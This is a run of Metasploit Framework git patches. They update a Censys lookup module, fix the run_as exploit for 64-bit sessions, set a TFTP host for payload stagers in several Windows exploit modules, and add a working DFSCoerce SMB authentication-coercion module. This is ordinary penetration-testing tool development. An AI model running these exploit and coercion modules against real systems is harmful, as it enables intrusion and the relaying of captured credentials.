[PATCH 06/79] Web request to cencys updated. a few modifications in how we handle the data. --- modules/auxiliary/gather/cloud_lookup.rb | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/gather/cloud_lookup.rb b/modules/auxiliary/gather/cloud_lookup.rb index 9a49933f3f54..d8ed06fd35ef 100644 --- a/modules/auxiliary/gather/cloud_lookup.rb +++ b/modules/auxiliary/gather/cloud_lookup.rb @@ -27,7 +27,8 @@ def initialize(info = {}) Netlify and Sucuri. }, 'Author' => [ - 'mekhalleh (RAMELLA Sébastien)' # https://www.pirates.re/ + 'mekhalleh (RAMELLA Sébastien)', # https://www.pirates.re/ + 'Yvain' ], 'References' => [ ['URL', 'https://citadelo.com/en/blog/cloudflare-how-to-do-it-right-and-do-not-reveal-your-real-ip/'] @@ -165,20 +166,18 @@ def setup_resolver # ------------------------------------------------------------------------- # # auxiliary/gather/censys_search.rb - def censys_search(keyword, search_type, uid, secret) + def censys_search(keyword, uid, secret) begin - payload = { 'query' => keyword } - cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true, nil, datastore['Proxies']) cli.connect response = cli.request_cgi( - 'method' => 'POST', - 'uri' => "/api/v2/hosts/search/#{keyword}", + 'method' => 'GET', + 'uri' => "/api/v2/hosts/search?q=#{keyword}", 'agent' => datastore['USERAGENT'], 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}" - } + }, ) results = cli.send_recv(response) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT @@ -189,10 +188,10 @@ def censys_search(keyword, search_type, uid, secret) print_error('Unable to retrieve any data from Censys.IO website.') return [] end - + records = ActiveSupport::JSON.decode(results.body) - results = records['results'] - + + results = records['result'] parse_ipv4(results) end @@ -578,7 +577,7 @@ def run # Censys search if [datastore['CENSYS_UID'], datastore['CENSYS_SECRET']].none?(&:nil?) - ip_records = censys_search(domain_name, 'ipv4', datastore['CENSYS_UID'], datastore['CENSYS_SECRET']) + ip_records = censys_search(domain_name, datastore['CENSYS_UID'], datastore['CENSYS_SECRET']) if ip_records && !ip_records.empty? ip_list |= ip_records end From fae64d5e9b31f9ba79878f9d022670bd4c2155bc Mon Sep 17 00:00:00 2001 From: yvain Date: Thu, 23 Jun 2022 17:27:47 +0200 Subject: [PATCH 07/79] passes bot tests for merge --- modules/auxiliary/gather/cloud_lookup.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/cloud_lookup.rb b/modules/auxiliary/gather/cloud_lookup.rb index d8ed06fd35ef..512373f8b5fd 100644 --- a/modules/auxiliary/gather/cloud_lookup.rb +++ b/modules/auxiliary/gather/cloud_lookup.rb @@ -177,7 +177,7 @@ def censys_search(keyword, uid, secret) 'agent' => datastore['USERAGENT'], 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}" - }, + } ) results = cli.send_recv(response) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT @@ -188,9 +188,9 @@ def censys_search(keyword, uid, secret) print_error('Unable to retrieve any data from Censys.IO website.') return [] end - + records = ActiveSupport::JSON.decode(results.body) - + results = records['result'] parse_ipv4(results) end From a9d3e7c758bd52b66cecc341707f506c388b89b5 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Mon, 27 Jun 2022 13:21:58 +0200 Subject: [PATCH 08/79] Fix run_as module on x64 systems --- modules/exploits/windows/local/run_as.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 25debb6f136b..5b00eedebe4b 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -71,11 +71,10 @@ def exploit command_line = nil windir = get_env('windir') - # Select path of executable to run depending the architecture - if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X64 + application_name = "#{windir}\\System32\\notepad.exe" + # On x64 systems, select the correct executable path to run if it is a x86 session + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 application_name = "#{windir}\\SysWOW64\\notepad.exe" - else - application_name = "#{windir}\\System32\\notepad.exe" end end From d14e6102304d5d10f081e7681e23f35ace539555 Mon Sep 17 00:00:00 2001 From: yvain Date: Tue, 28 Jun 2022 19:38:47 +0200 Subject: [PATCH 09/79] forgot to push this --- modules/auxiliary/gather/censys_search.rb | 45 ++++++++--------------- 1 file changed, 16 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index b14f5e8daf96..8c18ff083d49 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -45,17 +45,24 @@ def search(keyword, search_type) payload = { 'query' => keyword } - @cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true) @cli.connect + if @searchtype.include?('ipv4') response = @cli.request_cgi( - 'method' => 'post', - 'uri' => "/api/v2/hosts/search/#{keyword}", + 'method' => 'GET', + 'uri' => "/api/v2/hosts/search?q=#{keyword}", + 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, + ) + res = @cli.send_recv(response) + elsif @searchtype.include?('certificates') + response = @cli.request_cgi( + 'method' => 'GET', + 'uri' => "/api/v1/view/certificates?#{keyword}", 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, ) - res = @cli.send_recv(response) + end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("HTTP Connection Failed") @@ -67,17 +74,14 @@ def search(keyword, search_type) end records = ActiveSupport::JSON.decode(res.body) - results = records['results'] + results = records['result'] if @searchtype.include?('certificates') parse_certificates(results) elsif @searchtype.include?('ipv4') parse_ipv4(results) - elsif @searchtype.include?('websites') - parse_websites(results) end end - def valid_domain?(domain) domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/ end @@ -115,33 +119,16 @@ def parse_certificates(records) end def parse_ipv4(records) - records['hits'].each do |ipv4| - # ip - # protocols + records['hits'].each do |ipv4| ip = ipv4['ip'] - protocols = ipv4['protocols'] - + protocols = ipv4['services'] protocols.each do |protocol| - print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}") - port, name = protocol.split('/') + port = protocol['port'] + name = protocol['service_name'] report_service(:host => ip, :port => port, :name => name) end end end - - def parse_websites(records) - records['hits'].each do |website| - # domain - # alexa_rank - print_good("#{website['domain']} - #{website['alexa_rank']}") - domain = website['domain'] - ips = domain2ip(domain) - ips.each do |ip| - report_host(:host =>ip) - end - end - end - # Check to see if www.censys.io resolves properly def censys_resolvable? begin From bbbec267b6a543f37f26ed9450876e7eb33588fc Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 29 Jun 2022 19:10:52 +1000 Subject: [PATCH 10/79] exploits: Set tftphost option for modules which use Windows TFTP stager --- modules/exploits/multi/http/struts_code_exec.rb | 3 ++- .../multi/http/struts_code_exec_exception_delegator.rb | 3 ++- modules/exploits/windows/antivirus/ams_xfr.rb | 7 ++----- .../windows/http/ca_totaldefense_regeneratereports.rb | 3 ++- modules/exploits/windows/http/osb_uname_jlist.rb | 4 ++-- modules/exploits/windows/iis/msadc.rb | 3 ++- modules/exploits/windows/misc/altiris_ds_sqli.rb | 3 ++- modules/exploits/windows/mssql/mssql_payload.rb | 4 ++-- 8 files changed, 16 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 1caa28f05139..42605e379bdd 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -91,7 +91,8 @@ def execute_command(cmd, opts = {}) def windows_stager print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.' }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index fe1185bcab3d..6f079a988f6e 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -106,7 +106,8 @@ def windows_stager exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.' }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index eb70eeaf43e3..d7250409731b 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -50,16 +50,13 @@ def initialize(info = {}) end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.', :cgifname => exe_fname }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") execute_command(@payload_exe) - end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 59f70e4efb1d..39018f8ed81a 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -53,7 +53,8 @@ def initialize(info = {}) def windows_stager print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.' }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 755a462a5974..d6d88994e949 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -54,12 +54,12 @@ def initialize(info = {}) def windows_stager print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.' }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") execute_command(@payload_exe) - end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 78fa2ca2d4f3..df77aaa77671 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -344,7 +344,8 @@ def exploit res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z) # Use the CMD stager to get a payload running - execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true }) # Save these file names for later deletion @exe_cmd_copy = exe_fname diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 15813d5f86d0..dd92c9bfb1c1 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -173,7 +173,8 @@ def exploit # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ delay: 1.5, tftphost: tftphost, temp: '%TEMP%\\', flavor: :tftp }) end def on_new_session(client) diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 628d44656f13..cc3226876d6a 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -99,8 +99,8 @@ def exploit method = datastore['METHOD'].downcase if (method =~ /^cmd/) - execute_cmdstager({ :linemax => 1500, :nodelete => true }) - #execute_cmdstager({ :linemax => 1500 }) + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true }) else # Generate the EXE, this is the same no matter what delivery mechanism we use exe = generate_payload_exe From 0e3fdd07998c726613454f61c56c6d39deab45dc Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Wed, 29 Jun 2022 19:18:47 +0200 Subject: [PATCH 11/79] Fix from code review --- lib/msf/core/post/windows/runas.rb | 8 ++++---- modules/exploits/windows/local/run_as.rb | 9 +++++---- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index 22a676940228..72b984410f5f 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -79,7 +79,7 @@ def startup_info 0, # hStdInput 0, # hStdOutput 0 # hStdError - ].pack('VVVVVVVVVVVVvvVVVV') + ].pack(session.arch == ARCH_X64 ? 'QQQQVVVVVVVVvvQQQQ' : 'VVVVVVVVVVVVvvVVVV') end # @@ -113,7 +113,7 @@ def create_process_with_logon(domain, user, password, application_name, command_ nil, nil, startup_info, - 16) + session.arch == ARCH_X64 ? 24 : 16) if create_process['return'] pi = parse_process_information(create_process['lpProcessInformation']) print_good("Process started successfully, PID: #{pi[:process_id]}") @@ -173,7 +173,7 @@ def create_process_as_user(domain, user, password, application_name, command_lin nil, nil, startup_info, - 16) + session.arch == ARCH_X64 ? 24 : 16) if create_process['return'] begin @@ -210,7 +210,7 @@ def parse_process_information(process_information) fail ArgumentError, 'process_information is nil' if process_information.nil? fail ArgumentError, 'process_information is empty string' if process_information.empty? - pi = process_information.unpack('VVVV') + pi = process_information.unpack(session.arch == ARCH_X64 ? 'Q pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] } end diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 5b00eedebe4b..1233ad8c3f23 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Runas include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process def initialize(info = {}) super( @@ -71,11 +72,11 @@ def exploit command_line = nil windir = get_env('windir') - application_name = "#{windir}\\System32\\notepad.exe" - # On x64 systems, select the correct executable path to run if it is a x86 session - if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 - application_name = "#{windir}\\SysWOW64\\notepad.exe" + unless session.arch == payload.arch.first + fail_with(Failure::BadConfig, 'The payload architecture must match the current session architecture.') end + # The notepad process to spaw needs to have the same architecture than the payload + application_name = get_notepad_pathname(payload.arch.first, get_env('windir'), sysinfo['Architecture']) end pi = create_process_with_logon(domain, From 9b909131ff358c76374ad3c997a49ce0e959d916 Mon Sep 17 00:00:00 2001 From: NikitaKovaljov <78376672+NikitaKovaljov@users.noreply.github.com> Date: Wed, 29 Jun 2022 21:02:26 +0300 Subject: [PATCH 12/79] added datastore[TIMEOUT] options to line 77 --- modules/auxiliary/scanner/discovery/ipv6_neighbor.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index c72898800502..dd6c1850ed01 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -26,6 +26,7 @@ def initialize [ OptString.new('SHOST', [false, "Source IP Address"]), OptString.new('SMAC', [false, "Source MAC Address"]), + OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]), ]) deregister_options('SNAPLEN', 'FILTER') @@ -74,7 +75,7 @@ def run_batch(hosts) end end - etime = ::Time.now.to_f + [1, hosts.length * 0.05].max + etime = ::Time.now.to_f + datastore['TIMEOUT'] while (::Time.now.to_f < etime) while(reply = getreply()) From 8e32beeeef0f42da259a7db39a295649d19e577c Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 30 Jun 2022 11:11:11 +0200 Subject: [PATCH 13/79] Update specs --- spec/lib/msf/core/post/windows/runas_spec.rb | 154 +++++++++++++++++-- 1 file changed, 144 insertions(+), 10 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 5f64c7603b49..5cfbc726d075 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -44,6 +44,51 @@ end context "#create_process_with_logon" do + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86) + end + + context 'on a 32-bit session' do + it 'calls CreateProcessWithLogonW with a lpProcessInformation buffer of 16 bytes' do + expect(advapi32).to receive(:CreateProcessWithLogonW).with( + 'bob', + nil, + 'pass', + 'LOGON_WITH_PROFILE', + nil, + 'cmd.exe', + 'CREATE_UNICODE_ENVIRONMENT', + nil, + nil, + subject.startup_info, + 16 + ) + subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe') + end + end + + context 'on a 64-bit session' do + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64) + end + it 'calls CreateProcessWithLogonW with a lpProcessInformation buffer of 24 bytes' do + expect(advapi32).to receive(:CreateProcessWithLogonW).with( + 'bob', + nil, + 'pass', + 'LOGON_WITH_PROFILE', + nil, + 'cmd.exe', + 'CREATE_UNICODE_ENVIRONMENT', + nil, + nil, + subject.startup_info, + 24 + ) + subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe') + end + end + it "should return a process_info hash" do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) @@ -59,6 +104,52 @@ end context "#create_process_as_user" do + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86) + end + + context 'on a 32-bit session' do + it 'calls CreateProcessAsUserA with a lpProcessInformation buffer of 16 bytes' do + expect(advapi32).to receive(:CreateProcessAsUserA).with( + phToken, + nil, + 'cmd.exe', + nil, + nil, + false, + 'CREATE_NEW_CONSOLE', + nil, + nil, + subject.startup_info, + 16 + ) + subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe') + end + end + + context 'on a 64-bit session' do + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64) + end + + it 'calls CreateProcessAsUserA with a lpProcessInformation buffer of 24 bytes' do + expect(advapi32).to receive(:CreateProcessAsUserA).with( + phToken, + nil, + 'cmd.exe', + nil, + nil, + false, + 'CREATE_NEW_CONSOLE', + nil, + nil, + subject.startup_info, + 24 + ) + subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe') + end + end + it "should return a process_info hash" do expect(advapi32).to receive(:LogonUserA) expect(advapi32).to receive(:CreateProcessAsUserA) @@ -92,22 +183,65 @@ end context "#startup_info" do - it "should be 68 bytes" do - expect(subject.startup_info.size).to eq(68) + context 'on a 32-bit session' do + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86) + end + + it "should be 68 bytes" do + expect(subject.startup_info.size).to eq(68) + end + + it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do + si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV') + expect(si[11]).to eq(1) + expect(si[12]).to eq(0) + end end - it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do - si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV') - expect(si[11]).to eq(1) - expect(si[12]).to eq(0) + context 'on a 64-bit session' do + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64) + end + + it "should be 100 bytes" do + expect(subject.startup_info.size).to eq(100) + end + + it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do + si = subject.startup_info.unpack('QQQQVVVVVVVVvvQQQQ') + expect(si[11]).to eq(1) + expect(si[12]).to eq(0) + end end end context "#parse_process_information" do - it "should return a hash when given valid data" do - pi = subject.parse_process_information(process_info) - expect(pi).to be_kind_of(Hash) - expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86) + end + + context 'on a 32-bit session' do + it "should return a hash when given valid data" do + pi = subject.parse_process_information(process_info) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + end + end + + context 'on a 64-bit session' do + let(:process_info) do + "\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00" + end + before :example do + allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64) + end + + it "should return a hash when given valid data" do + pi = subject.parse_process_information(process_info) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + end end it "should return an exception when given an empty string" do From 43629a3960ba2b95000a004620bdd05d8cd0763c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jun 2022 14:59:54 -0400 Subject: [PATCH 14/79] Add the initial dfscoerce module --- modules/auxiliary/scanner/dcerpc/dfscoerce.rb | 102 ++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 modules/auxiliary/scanner/dcerpc/dfscoerce.rb diff --git a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb new file mode 100644 index 000000000000..8eea42c89e73 --- /dev/null +++ b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'windows_error' +require 'ruby_smb' +require 'ruby_smb/error' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Auxiliary::Scanner + + Dfsnm = RubySMB::Dcerpc::Dfsnm + + METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRootResponse].freeze + + def initialize + super( + 'Name' => 'DFSCoerce', + 'Description' => %q{ + Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods. + }, + 'Author' => [ + 'Wh04m1001', + 'xct_de', + 'Spencer McIntyre' + ], + 'References' => [ + [ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ] + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]), + OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ]) + ] + ) + end + + def connect_dfsnm + vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol') + netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true) + + vprint_status('Binding to \\netdfs...') + netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm) + vprint_good('Bound to \\netdfs') + + netdfs + end + + def run_host(_ip) + begin + connect + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + end + + begin + smb_login + rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e + fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).") + end + + begin + @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$") + rescue RubySMB::Error::RubySMBError => e + fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).") + end + + begin + dfsnm = connect_dfsnm + rescue RubySMB::Dcerpc::Error::FaultError => e + elog(e.message, error: e) + fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})") + end + + begin + case datastore['METHOD'] + when 'NetrDfsAddStdRoot' + dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart) + when 'NetrDfsRemoveStdRoot', 'Automatic' + # use this technique by default, it's the original and doesn't require a comment + dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share') + end + rescue RubySMB::Dcerpc::Error::DfsnmError => e + win32_error = ::WindowsError::Win32.find_by_retval(e.error_status).first + case win32_error + when ::WindowsError::Win32::ERROR_BAD_NETPATH + # this should be the response even if LISTENER was inaccessible + print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful') + when nil + print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}") + else + print_status("Server responded with #{win32_error.name} (#{win32_error.description})") + end + end + end +end From 81ab873d6cb6906bfa79a36e5f0762eb8a7ee8f8 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jun 2022 15:12:23 -0400 Subject: [PATCH 15/79] Add petitpotam error handling --- modules/auxiliary/scanner/dcerpc/petitpotam.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/petitpotam.rb b/modules/auxiliary/scanner/dcerpc/petitpotam.rb index 418fc726a228..f448baab95ea 100644 --- a/modules/auxiliary/scanner/dcerpc/petitpotam.rb +++ b/modules/auxiliary/scanner/dcerpc/petitpotam.rb @@ -66,8 +66,17 @@ def initialize end def run_host(_ip) - connect - smb_login + begin + connect + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + end + + begin + smb_login + rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e + fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).") + end handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym] fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args From 7a982a2c83ecdb0fda9e4cb0b9ba28c65c04bea2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jun 2022 15:16:11 -0400 Subject: [PATCH 16/79] Report ACCESS_DENIED as success If the listener that handles the incoming connection request replies with STATUS_ACCESS_DENIED, the API will return ERROR_ACCESS_DENIED to the caller. This is the behavior of Metasploit's capture module as well as Responder. --- modules/auxiliary/scanner/dcerpc/dfscoerce.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb index 8eea42c89e73..20dae1299d8d 100644 --- a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb +++ b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb @@ -89,6 +89,9 @@ def run_host(_ip) rescue RubySMB::Dcerpc::Error::DfsnmError => e win32_error = ::WindowsError::Win32.find_by_retval(e.error_status).first case win32_error + when ::WindowsError::Win32::ERROR_ACCESS_DENIED + # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.) + print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful') when ::WindowsError::Win32::ERROR_BAD_NETPATH # this should be the response even if LISTENER was inaccessible print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful') From 7e35f42eeb488690e8dfc7b2c8d53719c331785e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jun 2022 17:15:21 -0400 Subject: [PATCH 17/79] Finish up error handling for dfscoerce --- modules/auxiliary/scanner/dcerpc/dfscoerce.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb index 20dae1299d8d..d56a868ed0d1 100644 --- a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb +++ b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb @@ -73,6 +73,12 @@ def run_host(_ip) begin dfsnm = connect_dfsnm + rescue RubySMB::Error::UnexpectedStatusCode => e + if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED + fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)') + end + + fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})") rescue RubySMB::Dcerpc::Error::FaultError => e elog(e.message, error: e) fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})") @@ -87,18 +93,15 @@ def run_host(_ip) dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share') end rescue RubySMB::Dcerpc::Error::DfsnmError => e 